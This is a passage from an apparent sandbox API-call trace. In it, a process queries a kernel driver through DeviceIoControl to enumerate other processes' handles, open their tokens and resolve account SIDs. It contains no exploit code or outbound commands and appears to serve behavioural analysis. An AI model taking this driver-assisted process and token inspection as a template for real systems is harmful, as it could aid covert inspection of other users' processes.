returned 0x0 [0104.884] KeStackAttachProcess (in: PROCESS=0xfffffa8002003b30, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa8002003b30, ApcState=0xfffff88004f095d0) [0104.884] ObReferenceObjectByHandle (in: Handle=0x1c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa8001f79e50, HandleInformation=0x0) returned 0x0 [0104.884] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0104.884] PsReleaseProcessExitSynchronization () returned 0x2 [0104.884] ObfDereferenceObject (Object=0xfffffa8002003b30) returned 0x10 [0104.885] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa80033f8044, Length=0x800, ReturnLength=0xfffff88004f09508 | out: ObjectNameInfo=0xfffffa80033f8044, ReturnLength=0xfffff88004f09508) returned 0x0 [0104.885] ObfDereferenceObject (Object=0xfffffa8001f79e50) returned 0x1 [0104.885] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0104.885] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1c0b20 | out: hHeap=0x180000) returned 1 [0104.885] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1c0b20 [0104.885] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1c0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1c0b20*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0104.885] PsLookupProcessByProcessId (in: ProcessId=0x42c, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0104.885] PsAcquireProcessExitSynchronization () returned 0x0 [0104.885] KeStackAttachProcess (in: PROCESS=0xfffffa8002003b30, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa8002003b30, ApcState=0xfffff88004f095d0) [0104.885] ObReferenceObjectByHandle (in: Handle=0x64, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffff8a00109ffc0, HandleInformation=0x0) returned 0x0 [0104.885] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0104.885] PsReleaseProcessExitSynchronization () returned 0x2 [0104.885] ObfDereferenceObject (Object=0xfffffa8002003b30) returned 0x10 [0104.885] ObQueryNameString (in: Object=0xfffff8a00109ffc0, ObjectNameInfo=0xfffffa8002498044, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa8002498044, ReturnLength=0xfffff88004f09550) returned 0x0 [0104.885] ObfDereferenceObject (Object=0xfffff8a00109ffc0) returned 0x4e [0104.885] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0104.885] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1c0b20 | out: hHeap=0x180000) returned 1 [0104.885] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x320) returned 0xc0 [0104.885] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x8335000c, lpInBuffer=0x12d3d0*, nInBufferSize=0x8, lpOutBuffer=0x12d3d8, nOutBufferSize=0x8, lpBytesReturned=0x12d360, lpOverlapped=0x0 | out: lpInBuffer=0x12d3d0*, lpOutBuffer=0x12d3d8*, lpBytesReturned=0x12d360*=0x8, lpOverlapped=0x0) returned 1 [0104.885] ObReferenceObjectByHandle (in: Handle=0xc0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff88004f09668, HandleInformation=0x0 | out: Object=0xfffff88004f09668*=0xfffffa8001fcf060, HandleInformation=0x0) returned 0x0 [0104.885] ObOpenObjectByPointer (in: Object=0xfffffa8001fcf060, HandleAttributes=0x200, PassedAccessState=0x0, DesiredAccess=0x10000000, ObjectType=0x0, AccessMode=0x0, Handle=0xfffff88004f09670 | out: Handle=0xfffff88004f09670*=0xffffffff800009a4) returned 0x0 [0104.885] ObfDereferenceObject (Object=0xfffffa8001fcf060) returned 0x12 [0104.885] ZwOpenProcessToken (in: ProcessHandle=0xffffffff800009a4, DesiredAccess=0x8, TokenHandle=0xfffffa80028c1380 | out: TokenHandle=0xfffffa80028c1380*=0xc8) returned 0x0 [0104.885] ZwClose (Handle=0xffffffff800009a4) returned 0x0 [0104.885] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0104.885] GetTokenInformation (in: TokenHandle=0xc8, TokenInformationClass=0x1, TokenInformation=0x12d3f0, TokenInformationLength=0x800, ReturnLength=0x12d3c8 | out: TokenInformation=0x12d3f0, ReturnLength=0x12d3c8) returned 1 [0104.885] LookupAccountSidW (in: lpSystemName="", Sid=0x12d400*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x12ecb0, cchName=0x12d3c0, ReferencedDomainName=0x12e690, cchReferencedDomainName=0x12e440, peUse=0x12d3e0 | out: Name="5p5NrGJn0jS HALPmcxz", cchName=0x12d3c0, ReferencedDomainName="XDUWTFONO", cchReferencedDomainName=0x12e440, peUse=0x12d3e0) returned 1 [0104.887] CloseHandle (hObject=0xc8) returned 1 [0104.887] CloseHandle (hObject=0xc0) returned 1 [0104.887] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1c0b20 [0104.887] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1c0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1c0b20*, lpBytesReturned=0x12d450*=0x48, lpOverlapped=0x0) returned 1 [0104.887] PsLookupProcessByProcessId (in: ProcessId=0x320, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0104.887] PsAcquireProcessExitSynchronization () returned 0x0 [0104.887] KeStackAttachProcess (in: PROCESS=0xfffffa8001fcf060, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa8001fcf060, ApcState=0xfffff88004f095d0) [0104.887] ObReferenceObjectByHandle (in: Handle=0x10, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa8001f3d070, HandleInformation=0x0) returned 0x0 [0104.887] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0104.887] PsReleaseProcessExitSynchronization () returned 0x2 [0104.887] ObfDereferenceObject (Object=0xfffffa8001fcf060) returned 0x10 [0104.887] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa800384b044, Length=0x800, ReturnLength=0xfffff88004f09508 | out: ObjectNameInfo=0xfffffa800384b044, ReturnLength=0xfffff88004f09508) returned 0x0 [0104.887] ObfDereferenceObject (Object=0xfffffa8001f3d070) returned 0x1 [0104.887] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0104.887] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1c0b20 | out: hHeap=0x180000) returned 1 [0104.887] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1c0b20 [0104.887] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1c0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1c0b20*, lpBytesReturned=0x12d450*=0x6a, lpOverlapped=0x0) returned 1 [0104.887] PsLookupProcessByProcessId (in: ProcessId=0x320, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0104.887] PsAcquireProcessExitSynchronization () returned 0x0 [0104.887] KeStackAttachProcess (in: PROCESS=0xfffffa8001fcf060, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa8001fcf060, ApcState=0xfffff88004f095d0) [0104.887] ObReferenceObjectByHandle (in: Handle=0x1c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa8001a12f20, HandleInformation=0x0) returned 0x0 [0104.888] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0104.888] PsReleaseProcessExitSynchronization () returned 0x2 [0104.888] ObfDereferenceObject (Object=0xfffffa8001fcf060) returned 0x10 [0104.888] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa80024cf044, Length=0x800, ReturnLength=0xfffff88004f09508 | out: ObjectNameInfo=0xfffffa80024cf044, ReturnLength=0xfffff88004f09508) returned 0x0 [0104.888] ObfDereferenceObject (Object=0xfffffa8001a12f20) returned 0x1 [0104.888] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0104.888] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1c0b20 | out: hHeap=0x180000) returned 1 [0104.888] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1c0b20 [0104.888] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1c0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1c0b20*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0104.888] PsLookupProcessByProcessId (in: ProcessId=0x320, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0104.888] PsAcquireProcessExitSynchronization () returned 0x0 [0104.888] KeStackAttachProcess (in: PROCESS=0xfffffa8001fcf060, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa8001fcf060, ApcState=0xfffff88004f095d0) [0104.888] ObReferenceObjectByHandle (in: Handle=0x64, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffff8a00109ffc0, HandleInformation=0x0) returned 0x0 [0104.888] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0104.888] PsReleaseProcessExitSynchronization () returned 0x2 [0104.888] ObfDereferenceObject (Object=0xfffffa8001fcf060) returned 0x10 [0104.888] ObQueryNameString (in: Object=0xfffff8a00109ffc0, ObjectNameInfo=0xfffffa800250f044, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa800250f044, ReturnLength=0xfffff88004f09550) returned 0x0 [0104.888] ObfDereferenceObject (Object=0xfffff8a00109ffc0) returned 0x4e [0104.888] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0104.888] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1c0b20 | out: hHeap=0x180000) returned 1 [0104.888] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x424) returned 0xc0 [0104.888] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x8335000c, lpInBuffer=0x12d3d0*, nInBufferSize=0x8, lpOutBuffer=0x12d3d8, nOutBufferSize=0x8, lpBytesReturned=0x12d360, lpOverlapped=0x0 | out: lpInBuffer=0x12d3d0*, lpOutBuffer=0x12d3d8*, lpBytesReturned=0x12d360*=0x8, lpOverlapped=0x0) returned 1 [0104.888] ObReferenceObjectByHandle (in: Handle=0xc0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff88004f09668, HandleInformation=0x0 | out: Object=0xfffff88004f09668*=0xfffffa8001a17b30, HandleInformation=0x0) returned 0x0 [0104.888] ObOpenObjectByPointer (in: Object=0xfffffa8001a17b30, HandleAttributes=0x200, PassedAccessState=0x0, DesiredAccess=0x10000000, ObjectType=0x0, AccessMode=0x0, Handle=0xfffff88004f09670 | out: Handle=0xfffff88004f09670*=0xffffffff800009a4) returned 0x0 [0104.888] ObfDereferenceObject (Object=0xfffffa8001a17b30) returned 0x12 [0104.888] ZwOpenProcessToken (in: ProcessHandle=0xffffffff800009a4, DesiredAccess=0x8, TokenHandle=0xfffffa80028c1380 | out: TokenHandle=0xfffffa80028c1380*=0xc8) returned 0x0 [0104.888] ZwClose (Handle=0xffffffff800009a4) returned 0x0 [0104.888] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0104.888] GetTokenInformation (in: TokenHandle=0xc8, TokenInformationClass=0x1, TokenInformation=0x12d3f0, TokenInformationLength=0x800, ReturnLength=0x12d3c8 | out: TokenInformation=0x12d3f0, ReturnLength=0x12d3c8) returned 1 [0104.888] LookupAccountSidW (in: lpSystemName="", Sid=0x12d400*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x12ecb0, cchName=0x12d3c0, ReferencedDomainName=0x12e690, cchReferencedDomainName=0x12e440, peUse=0x12d3e0 | out: Name="5p5NrGJn0jS HALPmcxz", cchName=0x12d3c0, ReferencedDomainName="XDUWTFONO", cchReferencedDomainName=0x12e440, peUse=0x12d3e0) returned 1 [0104.890] CloseHandle (hObject=0xc8) returned 1 [0104.890] CloseHandle (hObject=0xc0) returned 1 [0104.890] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1c0b20 [0104.890] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1c0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1c0b20*, lpBytesReturned=0x12d450*=0x48, lpOverlapped=0x0) returned 1 [0104.890] PsLookupProcessByProcessId (in: ProcessId=0x424, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0104.890] PsAcquireProcessExitSynchronization () returned 0x0 [0104.890] KeStackAttachProcess (in: PROCESS=0xfffffa8001a17b30, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa8001a17b30, ApcState=0xfffff88004f095d0) [0104.890] ObReferenceObjectByHandle (in: Handle=0x10, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa8001fc56e0, HandleInformation=0x0) returned 0x0 [0104.890] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0104.890] PsReleaseProcessExitSynchronization () returned 0x2 [0104.890] ObfDereferenceObject (Object=0xfffffa8001a17b30) returned 0x10 [0104.890] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8001fe47c4, Length=0x800, ReturnLength=0xfffff88004f09508 | out: ObjectNameInfo=0xfffffa8001fe47c4, ReturnLength=0xfffff88004f09508) returned 0x0 [0104.890] ObfDereferenceObject (Object=0xfffffa8001fc56e0) returned 0x1 [0104.890] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0104.890] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1c0b20 | out: hHeap=0x180000) returned 1 [0104.890] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1c0b20 [0104.890] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1c0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1c0b20*, lpBytesReturned=0x12d450*=0x76, lpOverlapped=0x0) returned 1 [0104.890] PsLookupProcessByProcessId (in: ProcessId=0x424, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0104.890] PsAcquireProcessExitSynchronization () returned 0x0 [0104.890] KeStackAttachProcess (in: PROCESS=0xfffffa8001a17b30, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa8001a17b30, ApcState=0xfffff88004f095d0) [0104.890] ObReferenceObjectByHandle (in: Handle=0x1c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa8002018270, HandleInformation=0x0) returned 0x0 [0104.890] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0104.890] PsReleaseProcessExitSynchronization () returned 0x2 [0104.890] ObfDereferenceObject (Object=0xfffffa8001a17b30) returned 0x10 [0104.891] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8002009404, Length=0x800, ReturnLength=0xfffff88004f09508 | out: ObjectNameInfo=0xfffffa8002009404, ReturnLength=0xfffff88004f09508) returned 0x0 [0104.891] ObfDereferenceObject (Object=0xfffffa8002018270) returned 0x1 [0104.891] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0104.891] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1c0b20 | out: hHeap=0x180000) returned 1 [0104.891] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1c0b20 [0104.891] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1c0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1c0b20*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0104.891] PsLookupProcessByProcessId (in: ProcessId=0x424, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0104.891] PsAcquireProcessExitSynchronization () returned 0x0 [0104.891] KeStackAttachProcess (in: PROCESS=0xfffffa8001a17b30, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa8001a17b30, ApcState=0xfffff88004f095d0) [0104.891] ObReferenceObjectByHandle (in: Handle=0x64, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffff8a00109ffc0, HandleInformation=0x0) returned 0x0 [0104.891] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0104.891] PsReleaseProcessExitSynchronization () returned 0x2 [0104.891] ObfDereferenceObject (Object=0xfffffa8001a17b30) returned 0x10 [0104.891] ObQueryNameString (in: Object=0xfffff8a00109ffc0, ObjectNameInfo=0xfffffa800341d044, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa800341d044, ReturnLength=0xfffff88004f09550) returned 0x0 [0104.891] ObfDereferenceObject (Object=0xfffff8a00109ffc0) returned 0x4e [0104.891] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0104.891] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1c0b20 | out: hHeap=0x180000) returned 1 [0104.891] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x3a4) returned 0xc0 [0104.891] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x8335000c, lpInBuffer=0x12d3d0*, nInBufferSize=0x8, lpOutBuffer=0x12d3d8, nOutBufferSize=0x8, lpBytesReturned=0x12d360, lpOverlapped=0x0 | out: lpInBuffer=0x12d3d0*, lpOutBuffer=0x12d3d8*, lpBytesReturned=0x12d360*=0x8, lpOverlapped=0x0) returned 1 [0104.891] ObReferenceObjectByHandle (in: Handle=0xc0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff88004f09668, HandleInformation=0x0 | out: Object=0xfffff88004f09668*=0xfffffa8002015b30, HandleInformation=0x0) returned 0x0 [0104.891] ObOpenObjectByPointer (in: Object=0xfffffa8002015b30, HandleAttributes=0x200, PassedAccessState=0x0, DesiredAccess=0x10000000, ObjectType=0x0, AccessMode=0x0, Handle=0xfffff88004f09670 | out: Handle=0xfffff88004f09670*=0xffffffff800009a4) returned 0x0 [0104.891] ObfDereferenceObject (Object=0xfffffa8002015b30) returned 0x12 [0104.891] ZwOpenProcessToken (in: ProcessHandle=0xffffffff800009a4, DesiredAccess=0x8, TokenHandle=0xfffffa80028c1380 | out: TokenHandle=0xfffffa80028c1380*=0xc8) returned 0x0 [0104.891] ZwClose (Handle=0xffffffff800009a4) returned 0x0 [0104.891] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0104.891] GetTokenInformation (in: TokenHandle=0xc8, TokenInformationClass=0x1, TokenInformation=0x12d3f0, TokenInformationLength=0x800, ReturnLength=0x12d3c8 | out: TokenInformation=0x12d3f0, ReturnLength=0x12d3c8) returned 1 [0104.891] LookupAccountSidW (in: lpSystemName="", Sid=0x12d400*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x12ecb0, cchName=0x12d3c0, ReferencedDomainName=0x12e690, cchReferencedDomainName=0x12e440, peUse=0x12d3e0 | out: Name="5p5NrGJn0jS HALPmcxz", cchName=0x12d3c0, ReferencedDomainName="XDUWTFONO", cchReferencedDomainName=0x12e440, peUse=0x12d3e0) returned 1 [0104.893] CloseHandle (hObject=0xc8) returned 1 [0104.893] CloseHandle (hObject=0xc0) returned 1 [0104.893] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1c0b20 [0104.893] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1c0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1c0b20*, lpBytesReturned=0x12d450*=0x48, lpOverlapped=0x0) returned 1 [0104.893] PsLookupProcessByProcessId (in: ProcessId=0x3a4, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0104.893] PsAcquireProcessExitSynchronization () returned 0x0 [0104.893] KeStackAttachProcess (in: PROCESS=0xfffffa8002015b30, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa8002015b30, ApcState=0xfffff88004f095d0) [0104.893] ObReferenceObjectByHandle (in: Handle=0x10, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa800201ae00, HandleInformation=0x0) returned 0x0 [0104.893] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0104.893] PsReleaseProcessExitSynchronization () returned 0x2 [0104.893] ObfDereferenceObject (Object=0xfffffa8002015b30) returned 0x10 [0104.893] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8003311684, Length=0x800, ReturnLength=0xfffff88004f09508 | out: ObjectNameInfo=0xfffffa8003311684, ReturnLength=0xfffff88004f09508) returned 0x0 [0104.893] ObfDereferenceObject (Object=0xfffffa800201ae00) returned 0x1 [0104.893] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0104.893] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1c0b20 | out: hHeap=0x180000) returned 1 [0104.893] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1c0b20 [0104.893] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1c0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1c0b20*, lpBytesReturned=0x12d450*=0x78, lpOverlapped=0x0) returned 1 [0104.893] PsLookupProcessByProcessId (in: ProcessId=0x3a4, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0104.893] PsAcquireProcessExitSynchronization () returned 0x0 [0104.893] KeStackAttachProcess (in: PROCESS=0xfffffa8002015b30, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa8002015b30, ApcState=0xfffff88004f095d0) [0104.893] ObReferenceObjectByHandle (in: Handle=0x1c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa8002015170, HandleInformation=0x0) returned 0x0 [0104.893] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0104.893] PsReleaseProcessExitSynchronization () returned 0x2 [0104.893] ObfDereferenceObject (Object=0xfffffa8002015b30) returned 0x10 [0104.893] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8002007044, Length=0x800, ReturnLength=0xfffff88004f09508 | out: ObjectNameInfo=0xfffffa8002007044, ReturnLength=0xfffff88004f09508) returned 0x0 [0104.893] ObfDereferenceObject (Object=0xfffffa8002015170) returned 0x1 [0104.893] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0104.894] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1c0b20 | out: hHeap=0x180000) returned 1 [0104.894] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1c0b20 [0104.894] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1c0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1c0b20*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0104.894] PsLookupProcessByProcessId (in: ProcessId=0x3a4, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0104.894] PsAcquireProcessExitSynchronization () returned 0x0 [0104.894] KeStackAttachProcess (in: PROCESS=0xfffffa8002015b30, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa8002015b30, ApcState=0xfffff88004f095d0) [0104.894] ObReferenceObjectByHandle (in: Handle=0x64, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffff8a00109ffc0, HandleInformation=0x0) returned 0x0 [0104.894] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0104.894] PsReleaseProcessExitSynchronization () returned 0x2 [0104.894] ObfDereferenceObject (Object=0xfffffa8002015b30) returned 0x10 [0104.894] ObQueryNameString (in: Object=0xfffff8a00109ffc0, ObjectNameInfo=0xfffffa800264d044, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa800264d044, ReturnLength=0xfffff88004f09550) returned 0x0 [0104.894] ObfDereferenceObject (Object=0xfffff8a00109ffc0) returned 0x4e [0104.894] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0104.894] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1c0b20 | out: hHeap=0x180000) returned 1 [0104.894] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x54c) returned 0xc0 [0104.894] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x8335000c, lpInBuffer=0x12d3d0*, nInBufferSize=0x8, lpOutBuffer=0x12d3d8, nOutBufferSize=0x8, lpBytesReturned=0x12d360, lpOverlapped=0x0 | out: lpInBuffer=0x12d3d0*, lpOutBuffer=0x12d3d8*, lpBytesReturned=0x12d360*=0x8, lpOverlapped=0x0) returned 1 [0104.894] ObReferenceObjectByHandle (in: Handle=0xc0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff88004f09668, HandleInformation=0x0 | out: Object=0xfffff88004f09668*=0xfffffa80020485e0, HandleInformation=0x0) returned 0x0 [0104.894] ObOpenObjectByPointer (in: Object=0xfffffa80020485e0, HandleAttributes=0x200, PassedAccessState=0x0, DesiredAccess=0x10000000, ObjectType=0x0, AccessMode=0x0, Handle=0xfffff88004f09670 | out: Handle=0xfffff88004f09670*=0xffffffff800009a4) returned 0x0 [0104.894] ObfDereferenceObject (Object=0xfffffa80020485e0) returned 0x12 [0104.894] ZwOpenProcessToken (in: ProcessHandle=0xffffffff800009a4, DesiredAccess=0x8, TokenHandle=0xfffffa80028c1380 | out: TokenHandle=0xfffffa80028c1380*=0xc8) returned 0x0 [0104.894] ZwClose (Handle=0xffffffff800009a4) returned 0x0 [0104.894] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0104.894] 